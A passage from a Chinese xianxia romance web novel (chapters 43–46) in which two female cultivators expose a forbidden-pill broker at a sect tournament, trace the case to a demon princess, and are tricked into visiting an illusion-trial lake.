叶怀昭被豁然站起身的声音惊醒回神,莫名其妙看着桑春:“怎么了?到你上去 对决的了?” 桑春微微笑着:“不,只是忽然觉得这里的空气不适合呼吸,我要出去透透气。” 叶怀昭“哦”了一声,没觉出她的不对,反倒积极给出建议:“听说无相宫有条裸露于地面的坤脉,坤脉入地处有一大片湖泊,那里很是幽静。” 桑春接受了她的建议,转头就出了比武台所在的演武场,慢悠悠地向叶怀昭所说的湖泊走去。 这几日举办问道大会,无相宫也就放开了入派的限制,除了参加问道大会的修士外,附近的百姓甚至散修也能进无相宫闲逛几番,只是不能进入内庭罢了。 她这一路上碰到很多人,既有修士,也有灵力微薄的普通人。 甚至她还碰到了不少带着孩子进来的父母。 走过石阶时,她看到一个衣着朴素男人站在高处,将自己的孩子托举着放到肩上,问他有没有看到内庭演武场中进行对决的仙人们。 小孩摇摇晃晃地抓着父亲的脑袋,兴奋地对自己娘亲说:“我看到了!我看到好几条五颜六色的龙在天上飞!” 桑春拢着袖子,瞥了一眼那所谓的“龙”——那只是术法被击碎后逸散在空中,慢慢飘向远方的灵力碎光。 可小孩的父母却很高兴,他的娘亲说:“都说我们儿子出生时便天降异象,说不准以后就能来无相宫当仙人、学了仙法后出人头地呢!” 小孩说:“到时候我一定让阿爹阿娘日日吃三顿饭!” 桑春与他们擦肩而过,但在离开时却忍不住想: 她当初是为什么选择去长风门修习仙法呢? 叶怀昭口中所说的湖泊自树林后显出澄澈透亮的一角,桑春站在湖边,轻轻垂下眼眸。 世间选择修仙之路的人无数。 因为比起出身,在修炼天赋上天道似乎更加一视同仁。 即便是清贫之家,也有出现天资卓越之人的机会;而即便是富甲一方的大商贾,家中子弟拥有修道天赋的人也有寥寥无几的可能。 所有人都愿意去赌那一个飞黄腾达的可能,幻想成为仙人后呼风唤雨的力量和地位。 但她当时选择修仙之路的原因其实很简单。 因为那是她唯一能活下来的方法。 所以即便会九死一生,她也会跳下悬崖,去赌那唯一的可能。 – 无相宫坤脉滋养的花林湖泊很是幽静美丽,但被勾起旧事的桑春心情却不怎么好。 她又在湖边等了一会,还顺便给某个和父母走丢的小孩指了个路,觉得应该快到她和别人对决的场次了,才准备重新回到演武场。 就在这时,她听到不远处的假山后传来一声清晰的怒喝:“说好一手交钱一手交货,你竟敢耍我?!” 桑春:“?” 她是不是撞见什么交易现场了? 少女刚要绕出花林的脚步一顿,又无比丝滑地收了回来。 那一声怒喝后假山中就没了声音,像是也意识到了这里人多眼杂,于是在周围落下了禁止窥视禁止窥听的术法。 但这对一个术法能直接将堂堂乘玉仙君都拦在阵法之外的桑春而言,她只是轻轻抬手,那人落下的术法便无声无息地被她穿透了。 她安静地屏息,听到假山后传来细微的滴水声,而后是一道压抑着怒气的声音:“我特意支开所有人来找你拿药,你竟敢说没有带?!” “仙君莫要生气。”另一道嘶哑难听的声音说,“您也知道问道大会期间无相宫对禁药的筛查有多么严格,我没有将药带在身上,这是为了你我的安全考虑。” 禁药? 桑春倚靠在花树旁,微微挑了挑眉。 假山后的对话依旧在继续。 经过药贩子的安抚,买药之人的情绪似乎平复了一些,但语气依旧很冲:“既然不能在这里给我,那你让我去哪里拿?” 药贩子没有直接回答,而是说:“仙君啊,我们这个禁药可是最新炼制出来的。您若是用了我们的药,即便他无相宫仙尊亲自来查,我们也保准让他查不出任何问题!” 他先是将禁药天花乱坠地吹了一番,又说:“不是我们不相信仙君,只是如果将交付地点随便放在一个地方,或许会被无相宫的那些仙师发现,到时不仅是我们,您也会面临被剥夺参赛资格的惩罚。” 直到此时,他才图穷匕见:“您既然已经交了钱,我们自然会将药交给仙君。只是您若是想绝对万无一失、即便仙尊亲临也发现不了踪迹,您还需要再稍微交一点点灵石。” 买药之人先是暴怒,随后像是被说动了,开始和那一环一环给他下套的药贩子讨价还价。 桑春已经给无相宫的督查发了消息,对方暂时没有回复,她也就没有走,准备听听能不能把那药贩子的老巢挖出来。 就在这时,湖边忽然传来脚步声,一个熟悉的少女声音嘀咕说:“奇怪,难道小春没来这里?” 桑春:“!” 她想都不想甩手就是一道拘灵术落到假山后,但那药贩子似乎一直警惕着外界,在叶怀昭出声的一瞬间便捏碎符咒瞬影跃出数步,眼看就要跑出花林。 桑春对茫然站在原地的叶怀昭叫道:“拦住他!” 叶怀昭不明所以,但还是足尖一点兔起鹘落,持剑攻向药贩子。 剑式扬起的气流卷起地上散落的花瓣,纷扬而落时又被凌厉的剑锋尽数斩碎,风中传来清而浅淡的药香。 药贩子与叶怀昭交手的第一瞬似乎还想将她击开,但在瞥见她这张脸后,想都不想便收势转身,拼了命地逃跑。 叶怀昭轻挑眉,仗着自己灵力充沛,直接抬手放出一道毒雾阵法,在对方不慎吸入而晕头转地时将他轻松按在地上。 而留在假山旁的桑春也成功把那购买禁药的修士控制在原地。 叶怀昭拎着药贩子走来,正要开口询问这是怎么回事时,灵识中忽然感知到数人接近,随后是一道厉喝: “不许动!” 沈玉山带着一群弟子匆匆赶来,他身旁的弟子瞧见假山旁边有人,立刻放出一道极其眼熟的拘灵阵困住花林中的所有人。 ——包括叶怀昭及桑春。 放阵的弟子一手拿着灵盘,一手举着戒律堂令牌,绷着脸说:“我们接到举报,这里有人交易违禁丹药。” 偏偏在此时,被叶怀昭拎在手里的药贩子眼珠一转,立刻哭天喊地地叫道:“叶仙君,您不能拿了禁药后就过河拆桥啊!” 桑春:“……” 叶怀昭气得尾音颤抖:“你说什么?!!” 沈玉山看了看她,又看了看现场,微笑说:“叶仙君,不知您和桑仙君有没有时间随我们去无相宫的戒律堂走一趟?” 于是,问道大会进行的第一日,叶怀昭和桑春成功把自己关进了无相宫戒律堂。 一个时辰后。 叶怀昭站在戒律堂前跺脚:“你刚刚就不该拦我,就该趁着刚才让我揍他几拳!” “还揍人呢,你差点就被沈玉山扣在戒律堂了知不知道?”桑春翻了个白眼,“他要是心思再歹毒些,直接拖延时间让你硬生生错过一会儿的对决,这样你就连第二轮选拔都参加不了,他师妹直接夺得魁首。” 叶怀昭冷哼一声:“我师兄在这里,他敢扣我?” 刚刚把自己师妹从戒律堂捞出来的谢迟云颔首:“若真是如此,我会亲自与沈仙君交涉。” 至于怎么“交涉”,那就只有谢迟云和沈玉山两个人知道了。 叶怀昭满意地转头去看无语的桑春:“你不是在散心吗?怎么还被卷进这种事情了?” 桑春摊开手:“我怎么知道,是他们自己撞在我面前的。运气这么差,可能是天道也觉得那药贩子做得太过黑心了吧。” 那一环套一环地圈钱方法,真亏他们能想得出来。 谢迟云道:“每届问道大会都有弟子意图用禁药短暂提高修为获得更高名次,方才药贩交代的地点已经有人去彻查了。” 叶怀昭心中还惦记着那药贩最后给她泼脏水的损招,闻言说:“我也要去,我要亲自把这群 混账东西送进戒律堂!” 此话一出,站在她对面的两个人反应截然不同。 桑春:“你去什么去,不知道你的场次马上就要进行了吗?” 谢迟云:“可以。” 桑春猛地转头去看面不改色的谢迟云。 谢迟云说:“师妹先去比武台,等结束后我带你去。” 叶怀昭眯了眯眼,肉眼可见地被顺毛高兴了,声音轻快说:“师兄你说话算数!” 谢迟云“嗯”了一声,率先迈开步子向演武场的方向走去:“走吧,师妹。” 他们两个人自顾自地走了,徒留神色莫名的桑春盯着谢迟云的背影。 你就纵着她吧。 她恶狠狠地心想,看你师妹会不会被你纵得无法无天、蹬鼻子上脸在你身上作威作福! 她脚步踩得极重地跟上前面两人。 第44章 第四十四章纵使粉身碎骨、魂飞魄散。…… 叶怀昭刚刚收剑入鞘,还没来得及走下高台,就听到不远处传来一片兴奋的叫好声,喧闹得几乎要将整个演武场掀翻。 她抬起眼睛,向引起躁动的比武台上看了一眼。 衣襟袖口处皆绣有金色祥云纹的少女神色沉静地收剑入鞘,隔着人群,对她轻轻挑眉。 督学在庄丹雪的身旁宣判胜利,于是赞美的声音如潮水般翻涌,一波比一波更加声势浩荡。 在这样的对比中,叶怀昭身周响起的鼓掌叫好声几乎被淹没。 叶怀昭不爽地直接翻身跃下高台,对着桑春“切”了一声,嘀咕道:“幼稚。” 桑春掀掀眼皮,客观评价:“你们两个半斤八两。” 叶怀昭还没来得及为自己打抱不平,便有督学站在比武台上问:“长风门桑春来了没有?” 桑春站在台下懒散地举了下胳膊,应声后转头对叶怀昭说:“你自己和你师兄玩去吧,我要走了,不用想我。” 她眨了下眼睛,意味深长落下一句“别被骗了还傻乎乎给人数钱”后,施施然走了。 叶怀昭转头就找谢迟云抱怨:“她是不是把我当三岁小孩了?在这修真界谁敢骗我?” 谢迟云在叶怀昭和桑春拌嘴时一向不会轻易表明立场,防止以后被秋后算账。 此时他道:“或许桑师妹说的‘骗’和师妹理解的‘骗’并不是一件事。” 叶怀昭追问:“那是什么?” 谢迟云没说话,于是她开始瞎猜:“骗钱?骗身?骗感情?” 谢迟云任由她嘀嘀咕咕地猜测,没说对也没说不对,只是唇边始终噙着一抹似有似无的笑。 叶怀昭猜了一会就没了兴趣,转而想起来自己方才在看台上回想起来的记忆。 她转了转眼珠,装作不经意地向谢迟云问道:“师兄,假如你现在忽然喜欢上了一个姑娘——非常非常喜欢她,而这时也有另外一个人喜欢这个姑娘,并且那人抢先一步和这个姑娘表明心意了,你会怎么做?” 谢迟云:“为什么这么问?” “哎呀,”叶怀昭说,“就是好奇啊。师兄你不是说自己没有喜欢的姑娘吗?我想知道如果你动了心会是怎么样的。” “师妹想让我怎么做呢?”他侧首似笑非笑地看了一眼满脸纠结的少女,缓声说,“直接将那人杀掉?” 叶怀昭先是吓了一跳,而后反应过来这人是在逗她,恼怒地皱了皱眉:“……我在问你很严肃的问题,不许开玩笑!” 她的神色凶巴巴的,但谢迟云还是牵了牵唇角,眉眼稍弯。 在叶怀昭多次的催促声中,他才说:“要看那个姑娘会怎么选吧。” 叶怀昭:“师兄是说,如果那个姑娘和对方在一起了,你就会默默放弃这段感情、成全他们?” 她认真思考了一下,觉得这个回答还挺符合谢迟云此人性格的。 他性情温和,但却从不做什么拖泥带水、优柔寡断之事。 若是他察觉自己没有可能,想必就会和那姑娘一刀两断吧。 所以如果她答应了季衡远,那么是不是之后的所有事情都不会发生? 但是谢迟云却出乎意料地说:“不会。” “若是那位姑娘拒绝了表白心意的人,那我不会多做什么。”他说,“除非那人心思并不纯粹,我会从一开始便阻止,即便这会让她厌恶我。” “若是她想要答应那人的请求……” 他说到这里忽地顿住,在叶怀昭诧异的神情中,忽地意味深长地望了一眼身旁的少女。 “师妹,我不会放弃我喜欢的人。”他说,“那些阻碍的事物或许会使人等待,但无论是十年、二十年、亦或是几百年……纵使是粉身碎骨、魂飞魄散,我也绝不会放弃。” 叶怀昭一眨不眨地同他对视,不自觉屏住了呼吸。 她隐隐觉得谢迟云在向她暗示什么,可她的心神却完全被男人风轻云淡话语间的深沉固执所占据。 无相宫外庭栽种的花林忽地卷起一阵轻轻的风,于是万千浮雪似的花瓣在漩流中打转,又慢慢随着水流飘向远处。 叶怀昭想说很多,却又觉得不需要说那么多。 她沉默地跟在谢迟云的身旁,直到两人走出了无相宫,向着那药贩供出的地点走去时,才冷不丁说: “师兄,还好这只是假设。” 谢迟云眨了下眼,无声地向她询问。 叶怀昭没有回答,却对他笑了一下,眉眼间是狡黠的粲然笑意,转身先一步蹦蹦跳跳地走了。 还好你之前没有爱慕的姑娘。 若是之前就有,那我可怎么让你再喜欢上我呢?- 叶怀昭和谢迟云赶到时,平清城外的破败庙堂已经被无数探查的阵法叠加落下、一群身着无相宫绛蓝色门服的弟子在各处搜寻了。 他们的腰间皆佩戴了戒律堂的令牌,神色严肃。 叶怀昭随手拉了一个弟子问:“你们堂主在哪里?” 被拉住的弟子本不想回答,但他看了看乘玉仙君这张脸,以为是无相宫找了长风门帮忙,犹豫片刻后给叶怀昭指了指庙堂。 叶怀昭和谢迟云走进去,找到了表情很难看的戒律堂堂主。 谢迟云没说是因为叶怀昭想来凑热闹,而是说叶掌门得知此事后极为愤怒,令他们一定要帮无相宫抓到炼制禁药的真凶,于是他和师妹来这里看看有没有什么能帮上忙的地方。 宋堂主没作他想,而且谢迟云这些年在外的名声很有说服力,很快便向他们说明了此时的情况。 那药贩子其实并不能算是一个药贩子,他身上的确什么禁药都没有,他只是卖药之人与买药之人的桥梁,负责将取药的交易地点告知给买药的修士。 他的上家极为谨慎,按照药贩子所说,他从未露面过,只通过灵盘向他传达每一次的取药地点,让他去拉拢那些想要投机取巧的修士。 而当无相宫的人将他的灵盘拿去调查时,却发现与他发送消息的那端灵盘无法定位,显然是已经销毁了。 宋堂主神色凝重:“这处庙堂是他的上家最后给出的地点,若是有痕迹残留,这里便是最有可能查出来的地方。” 叶怀昭:“所以有吗?” 宋堂主叹气:“有,但是极为稀薄。我带来的法器暂时无法辨认这些术法都是什么、灵力又是属于谁的。” 那似乎没有发现什么有用的线索。 宋堂主摸出来灵盘,看样子似乎是要找无相宫搬救兵,叶怀昭的余光瞥见她联系的那人似乎是无妄仙尊。 无妄仙尊尤擅灵力探查,且一向好说话,若是这里有人需要她帮忙,一定会不假思索地同意。 如果无妄仙尊来,她的徒弟宁绥想必也会跟着一道来。 若是他们一同出现……叶怀昭不确定谢迟云会不会看出点什么。 她可还指望着宁绥帮自己试探谢迟云呢,还不能让他的身份失去价值。 叶怀昭当机立断道:“搜查灵力痕迹的事情,堂主不妨让我一试呢?” 宋堂主和谢迟云同时看向说出此话的少女。 只不过前者的眼中是没有掩饰的怀疑,而后者则是有点诧异地眯了眯眼睛。 师妹什么时候这么好心了? 谢迟云心想。 叶怀昭顶着这两道截然不同的视线,面不改色说:“宋堂主,我师尊曾经为了探查灵力痕迹特意研制过一种药粉,只要配合特定的术法一同使用,即便是踏灵境、乃至更高境界的修士留下的灵力都能被找到。” 宋堂主知道叶怀昭的师尊是修真界大名鼎鼎的颂慈仙尊,心中的怀疑顿时消解了一半。 但她还是不放心地问:“这药粉不会破坏术法痕迹吧?” 叶怀昭信誓旦旦:“当然不会。” 她转头给谢迟云使眼色:“我师兄曾经 见过我使用这种药粉,他可以给我做担保。” 谢迟云:“……嗯。” 宋堂主心想,既然不会破坏术法,那让叶怀昭一试也没什么,反正失败了还能让无妄仙尊来兜底,而且乘玉仙君可是也做了担保。 若无特殊情况,其实她也不是很想联系无妄仙尊,毕竟仙尊正值破镜边缘,稍有不慎就可能像是那位凌霄仙君一样陨落。 于是她点了点头,问叶怀昭:“需要我们做什么吗?” 叶怀昭作势去拿玉瓶:“不用,只需保证这庙堂中没有过多灵力混淆便可。” 待所有人退出后,谢迟云看向旁边松了一口气的叶怀昭。 他们没有用隔音的术法,于是男人轻声说:“探查灵力痕迹的药粉?” 他的声音中带着些许调侃。 叶怀昭正经说:“当然,这也算是师尊教给我的。” 让她在无数次背着师尊干坏事时,率先从正在接近西翠谷的混杂灵力中精准找到属于她师尊的那道,才得以提前避险。 叶怀昭没有过多废话,抬起手灵力倾泻而出。 燃烧着火焰的赤色灵力在庙堂中升起,而后赤鸟啼鸣,向上圈出灵力流淌的屏障,将整座庙堂与外界隔离。 屏障之内,两只赤鸟砰然一声相撞,躯体化作无数星星点点的碎光,像是燃烧着火焰的雪花般自半空中翩然坠落。 赤色的雪花落下,除却叶怀昭和谢迟云外空无一人的庙堂中,忽地被雪花勾勒出数个人形轮廓。 谢迟云伸出手掌,那片赤色雪花在他的手中没有融化成水,而是化作一缕浅淡的灵力轻柔划过他的掌心,最后散在空气中。 他不自觉地蜷缩了一下手指,慢慢收回手。 叶怀昭没有注意到他的动作。 她正在为自己成功施展出比之前更高一级的现形术而洋洋得意。 “我就知道他们会用术法试图抹除自己来过这里的痕迹,”叶怀昭叉着腰,眼睛亮晶晶说,“用术法也没用,还不是被我破解了。” 谢迟云:“师妹的现形术即便是魔气施展的术法都可拆解?” 叶怀昭:“当然啦!” 少女先是毫不犹豫地说了这句话,才补充说:“旁的修士只能拆解灵力术法,但我的现形术叠加我的灵识,只要不是魔君或仙首本人来此抹除痕迹,无论是修士还是魔族,没人能逃得过我的眼睛。” 她眨眨眼:“难道这两个人会来这小小平清城吗?” 谢迟云牵了牵唇角,说:“自然不会。” 叶怀昭调出的是近一个月来此之人的记录,说话间两人面前的虚影已经变幻了许多,重重叠叠的虚影不断闪过。 谢迟云看了片刻,忽地出声道:“等一下。” 其实不用谢迟云出声,叶怀昭就已经下意识地停了下来。 重叠的虚影中,一个双目猩红,面容如烈焰般极具侵略性的女子唇角挑着笑,直直向叶怀昭的方向看来。 她手中的长鞭有一搭没一搭地轻敲着庙堂地面,却在下一瞬,忽地毫无征兆地向前甩去。 虚幻的长鞭凌厉凶戾地穿过叶怀昭的心口。 叶怀昭愣了一瞬,抬手摸了摸自己。 ——若那并非虚影,她必死无疑。 叶怀昭缓缓皱眉。 “山槐为什么在这里?” 她就是那药贩子的上家、将禁药贩卖给参与问道大会弟子的真凶吗? 思索间,叶怀昭忽地感觉脖子传来毫无征兆的冰冷触感。 它又轻又缓,偏偏温度极低,冷不丁接触时几乎让叶怀昭以为是一只长蛇用尾巴尖碰了一下她的脖颈,再缓慢地下滑。 她受惊地向后退去,抬头却见谢迟云依旧保持着伸出右手的动作,无声地望着她。 他轻轻抿着唇,没有笑,眼中是极为罕见的冰冷,在叶怀昭躲开时,他轻微地偏了一下头。 暖调的日光透过只剩半片的窗棂斜射进来,迎着他浅色的眼瞳,几乎像是闪过了几丝猩红。 叶怀昭骤然屏息。 第45章 第四十五章游览 叶怀昭茫然地睁圆了眼睛。 谢迟云没有说话,她也像是被吓到一样许久也没有动作,就连呼吸都像是担心惊扰对方一般放轻了。 一时之间,庙堂中只有风声穿过断壁残垣时划过的“呼呼”响动,几只老鼠从墙角窜过,又砰地一声撞在叶怀昭还没来得及撤下的阵法边缘。 似是被这道声音唤回了神智,谢迟云清透的眼珠忽地细微的动了一下。 他闭了闭眼睛,再睁眼时,眸中的冰冷像是融水般散去了。 叶怀昭感受到蛊虫另一端的情绪渐渐平息,才叫了一声:“师兄,你怎么了?” 这里是她的阵法界内,根本不可能有另外的术法攻击到界内的谢迟云。 只可能是他自己出了问题。 叶怀昭走到他的面前,皱着眉说:“师兄,你最近是不是太累了?” 叶怀昭近日对自己师兄其实颇有微词。 她也不是没想抓着谢迟云和她出来闲逛交流感情,但每次去找他,这人都被一大堆事情缠身无法出去。 真不知道他每天到底在忙什么,长风门中陪着他们一起来的堂主都没他这么忙。 谢迟云抓住叶怀昭伸向他的手,扣住手腕的右手纹丝不动,垂着眼睛说:“还好。” “都这样了只是‘还好’?”叶怀昭不满地说,“我之前就想说了,师兄,南境虽是与魔界接壤,平日里经常有妖魔作乱,但还不至于那么危险。” “你没有必要那么频繁地下山。”叶怀昭认真说。 她总觉得谢迟云对于扫清南境境内的妖魔有一种异样的执念。 她受伤的那一年无法下山,清醒时偶尔会有季衡远和她聊天,而季衡远在她这里说了那么多谢迟云的坏话,却独独没有否认他对维护南境安稳和平做出的贡献。 她甚至听说那一年中谢迟云根本就没有回山过,整整一年都在山下扫清妖魔。 即便现在也总是频繁下山。 ——他那“乘玉仙君”的名号在其他地方听来或许只代表着长风门的首席剑修,可在南境,这完全是一条命一条命杀出来的凶名。 叶怀昭不知道谢迟云为什么对南境的安稳这么执着,她觉得自己亲爹应当也不是那种压榨徒弟的人,更何况经过了林漱雪的事情,他对自己徒弟的身心健康这点其实很是关注。 这只可能是谢迟云自己想做,而他的师尊也无法阻拦。 她挣开了谢迟云抓着他的手,隔着衣衫按在了男人的心口,听到对方措不及防的闷哼声后高高挑起了眉:“师兄,你之前的伤口还没好吧。” 叶怀昭至今都对他满身的伤疤记忆犹新。 那几乎像是盘亘在他身上,随着累加而不断汲取他生命力的长蛇。 谢迟云微微垂着眼,看着少女按在自己心脏的手掌。 他看了半晌,才像是妥协一般叹了口气,说:“师妹真聪明。” 叶怀昭又使劲按了一下,听到男人“嘶”了一声后依旧不满:“重点是这个吗?” 谢迟云伸手攥住她的手掌,防止师妹一个不高兴再次按下,拇指似有似无地轻抚过她的腕骨。 他只好说:“那师妹想说什么?” 隔着衣衫,叶怀昭似乎也能感受到自己手掌下砰砰跳动的心脏,双生蛊微妙地共鸣,牵连起她心脏的跳动。 即便到了现在,叶怀昭其实也没有习惯这种错拍似的心跳,只要和谢迟云挨近了,就像是在和他共用一个心脏似的。 叶怀昭说:“第二轮选拔师兄会去幻境中吗?” 谢迟云道:“会。”” 怎么这种事情也要师兄来做。“叶怀昭嘟囔一声,在心中将自己原本的计划划掉,转而说,“师兄你应该劳逸结合。” 谢迟云笑了一声:“师妹是在关心我吗?” 叶怀昭张嘴就想说怎么可能?我这是在担心你像你大师姐一样过早地陨落。 可她的话在喉咙中滚了一圈,忽然想起来自己从林漱雪那里打听到的事情。 她心中有了一个计划。 于是,叶怀昭清了清嗓子,义正言辞说:“我没有!你不要自作多情!” 同时,叶怀昭在心中说:【当然。】 谢迟云的目光微妙地落在叶怀昭身上,眼中有探究的深意。 叶怀昭强撑着与他对视,心想谢迟云此时一定在怀疑她是不是在口是心非。 她担心自己露出马脚,没等谢迟云回答便坏心眼地屈起手指,挠了一下他的心脏。 她状似严肃说:“明日没有我的对决,我记着堂主也说明日没有给你安排事务——所以,明天你必须陪我出去,不许再拒绝!” 谢迟云莫名觉得叶怀昭与之前在清风观中遇见的那只小猫很像。 有着锋利的爪子,本想着气势汹汹地威胁别人,却在落爪的那一瞬间心软了,可又不想就此放弃,于是只好收住爪子,只用柔软的肉垫去勾着手指。 他沉默半晌,松开攥住叶怀昭的手腕,轻声说:“好。” 叶怀昭满意了。 恰好在此时现行术的运转进行到尾声,叶怀昭观察了一会,发现除了山槐外庙堂中没有其他异常的情况。 她将虚影全部收敛在术法中,打开门将其交给守在外面的宋堂主,说:“这是近一个月以来所有来过这里的人。” 等到叶怀昭和谢迟云离开这里,有弟子感叹说:“都说青冥台的庄丹雪在这次的问道大会中最有胜算,如今看来,长风门或许也不是没有可能。” 另一人说:“如果这样,岂不是长风门连续两届夺得魁首了?” “人家有实力,自然就能连续两届夺得魁首,”最开始出声的弟子懒散说,“若是叶怀昭也拿了魁首,你觉得同辈弟子中还有谁能比得过长风门那对师兄妹。” 而且…… 他心想,仙首之位被青冥台掌控了几百年,也该换换人去坐了。 叶怀昭也在问谢迟云:“师兄,你觉得魔界最近这么不安生,是不是因为他们觉得庄仙首活不久了?” 谢迟云:“即便庄仙首无事,魔界也不会安定。” 叶怀昭想了想,觉得也是。 庄仙首快不行了,那魔君也快不行了呀。 听说前段时间魔界还发生过几次叛乱,虽然被暴力镇压了,但明眼人都知道,魔君对魔界的掌控力下降了。 否则他的女儿山槐也不会那么着急地收揽势力。 她若是没趁着魔君还待在那个位置时积攒足够的实力,等魔君死后,她就是第一个被杀的对象。 想到这里,叶怀昭对于山槐出现在平清城的忧虑就没有那么深了。 反正她也只是想把那药贩子的同伙一网打尽,既然这里没人,那就让无相宫的人自己去查,这里可是他们的地盘。 她走在谢迟云的身旁,开始兴致勃勃地研究明日要去哪里玩。 首先要排除平清城内,这几日谢迟云没时间理她,叶怀昭化郁闷为动力直接横扫了整条平清城街市,若非谢迟云之前给她的零花钱救济,问道大会还没结束她就要喝西北风了。 其次排除无相宫的坤脉花林,那地方逛了好几遍,叶怀昭早就看腻了。 她思来想起,干脆掏出灵盘给本地人宁绥发消息。 【平清城附近有什么好玩的?】 宁绥大概也是在盯着灵盘,很快就回:【和谁?】 叶怀昭:【和我师兄。】 演武场中结束对决的桑春还没来得及走下比武台,隔着老远就看到无妄仙尊身旁的青年冷笑一声,然后噼里啪啦敲字。 叶怀昭收到宁绥的消息。 宁绥:【璇玑湖。】 然后他又连发数条消息,洋洋洒洒写了整整几千字来说明这璇玑湖是多么漂亮、多么适合游览赏看、尤其强调多么适合提高双方默契度和感情。 叶怀昭等他发完了,才说:【你该不是骗我吧?】 宁绥:【那你去问,这是不是最适合你去的地方。】 叶怀昭还真抓了一个无相宫的弟子问了一遍。 对方很干脆利落地点头,说:“宁师兄推荐的这个地方的确适合叶仙君游览,尤其在这个时候。” 叶怀昭没听懂他为什么强调是在这个时候,但她又抓了几个弟子问话,得到的答案都是很适合后,她终于放心了。 隔日,用完早膳的叶怀昭兴致冲冲地就拉着谢迟云御风到了“璇玑湖”。 这是一处远离平清城的湖泊,水面上笼罩着一层淡色的薄雾,湖岸种满了花树,随着微风花瓣慢慢飘到翠绿色的湖面上。 他们来的时间很早,但璇玑湖附近竟然也有一些零散的修士。 瞧上去很正常,唯一值得怀疑的是这些修士怎么都是燃起熊熊斗志的神色? 这和宁绥所说的“安静祥和,适合二人独处”的气氛好像有点不一样。 叶怀昭狐疑之时,余光忽地瞥见一个身穿长风门门服的弟子。 那人还挺眼熟,正是当初让叶怀昭被罚进戒律堂的凶手之一。 北林峰弟子看见叶怀昭,他本能地想躲,却又觉得这么一躲岂不是很没面子,只好硬着头皮和叶怀昭打招呼:“叶师姐,你也来这里磨炼心性吗?” 叶怀昭心里咯噔一声:“什么磨炼心性?” 北林峰弟子道:“璇玑湖素来都有一个传闻,若是有人能在重重幻影的干扰下依旧精准走出九星飞泊,找到一位仙人前辈的虚影,就说明自己有望成仙。” 他诧异地看着叶怀昭,犹豫说:“叶师姐不是为了拿到问道大会的魁首,所以来此磨炼心性的吗?” 叶怀昭:“……” 叶怀昭:“…………” 她咬着牙,握拳将指关节捏得嘎嘣响:“宁绥这个混蛋,竟敢来骗我!” 什么两人独处增长感情——难道一起落水互看对方狼狈样子就很暧昧吗?! 第46章 第四十六章一生所求而无法如愿。…… 叶怀昭噼里啪啦不间断地对着宁绥输出了许久,最后甚至直接把他的灵盘好友删了才将心中的愤怒散去一半。 至于剩下那一半……叶怀昭握着灵盘的手指冷笑,心想等我回去,你就死定了。 谢迟云方才一直没有出声打断她,直到此时才问道:“师妹来这里,是无相宫的宁绥仙君建议?” 叶怀昭想也不想:“就是这个混蛋!” 谢迟云“嗯”了一声,接着问:“师妹看上去对这里很不满意,可是与预期有偏差?” 当然有偏差。 她想去的可是能够两人独处、培养感情的幽静之处,而这璇玑湖呢?她一点也不想在这个时候找那劳什子的仙人前辈! 叶怀昭愤怒地张口就想向谢迟云控诉宁绥的罪状,可对着师兄那双沉静如水的双眸,忽地意识到什么。 不对。 她警觉地意识到。 如果我把宁绥的罪状说出来,那师兄不就知道我的心思了?他岂不是就会知道我想和他增长感情了? 他万一觉得我喜欢他喜欢到不可自拔、所以费尽心思也要和他二人独处该怎么办? 一连串的思考飞速地从叶怀昭的脑海中闪过,她看着面前面带温和微笑的男人,瞬间激起一身冷汗。 谢迟云观察着她,看到自己师妹的眼中闪过几丝纠结,像是欲言又止,最终只谨慎说:“其实也还好。只是我原以为他会推荐些山水古境,没想到竟是留有仙家气息的幻境。” 她在说谎。 谢迟云极轻易地得出了这个结论。 站在他面前的少女还在绞尽脑汁地为自己找补,谢迟云安静地看着她,垂在身侧的手指却不自觉地微微收紧。 她在为了另一个男人,对他说谎。 几乎在这个念头升起的第一时间,谢迟云强行掐断了自己的思绪。 他难得地开口打断了叶怀昭的话:“师妹。” 他在叶怀昭不解茫然看过来的眼神中,平静说:“既然都在这里了,那就这样吧。” 谢迟云牵了牵唇角:“若是能 见到仙人传承,或许也能有利于师妹破镜。” 叶怀昭本能地觉得他应该不太高兴。 但她又看不出来谢迟云是为什么不高兴——他看起来也不是讨厌这个地方啊? 想了想,叶怀昭只能将其归咎于师兄也不想在放松休息时还要闯幻境。 她再一次在心中狠狠问候了一遍该死的宁绥,嘴上说:“好吧,那就试一试。” 总而言之——来都来了,反正没事干,那就找找仙人传承呗。 她成功哄好了自己,终于有闲心开始打量这所谓能见到仙人传承的璇玑湖。 叶怀昭之前其实隐约听闻平清城曾经有位大能坐地飞升过,甚至在平清城留下了自己的一缕灵识,若是有缘,还能得到仙人指点。 只是她没想到要见到仙人虚影还需要闯过这幻境。 她观察了一会儿璇玑湖,发现每当有人站在湖岸的礁石上时,便会有一道翠绿色的流光自湖中心处飞出,没入挑战者的眉心,而后那位挑战者便会消失在原地。 叶怀昭猜测那人应该是被拉进了一个虚幻的空间。 成功了会怎样暂且不知,但是就在叶怀昭观察的这一小段时间中,就有七八个修士接二连三地凭空出现在湖泊的各处,然后扑通扑通地落水。 看样子落水时就连术法也用不了,只能苦巴巴地认命自己游上来。 叶怀昭听到自己旁边一个浑身上下湿漉漉的修士愤愤道:“明明只差最后两宫,偏偏又失败了!” 他的好友安慰道:“嗐,你这还是只差一步。我都尝试了三十多回了还在前五宫打转。” 他咬牙说:“那仙人前辈是不是根本就没想让我们见到他?幻境设置得那么难做什么?莫说是我们了,听说就连那宁仙君,闯了十几年了都没闯过!” 天下姓“宁”的仙君千千万,但在这平清城中能被人以这种口气提起的“宁仙君”可就只有一个。 听到这里,叶怀昭终于对这璇玑湖产生了一丝兴趣。 她转头对谢迟云说:“师兄,你先去还是我先去?” 谢迟云说:“我先去为师妹探路吧。” 叶怀昭没有拒绝,看到谢迟云走到距离最近的一块礁石上,他的神色平静,单就这股云淡风轻的从容姿态就与周围修士格格不入。 风平浪静的湖泊中央忽地飞出一缕翠绿色流光,在与男人眉心赤红朱砂痣相重叠的一瞬间,谢迟云的身影消失在原地。 叶怀昭无所事事地在原地等了一刻钟,干脆问旁边正在从湖泊中向外爬的修士,这幻境中的时间与现实中的时间是否对等。 那修士冷不丁瞧见一个漂亮姑娘蹲下身凑近,脚下一个踉跄直接重新跌进水里,咕噜咕噜喝了好几口湖水。 片刻后,他涨红着脸,结结巴巴说:“是对等的。” 听见叶怀昭“哦”了一声后,他心中一动,说道:“姑娘是不是在等人?这璇玑湖的幻境极为困难,即便是失败,动辄也是几个时辰才能出来。” 见叶怀昭若有所思,他抹了一把自己脸上的水珠,试探着问:“姑娘要不要去附近的茶楼坐一坐?正巧我在那里预定了位置,若是姑娘不嫌弃,我也可以将自己听说的过关要诀尽数告知。” 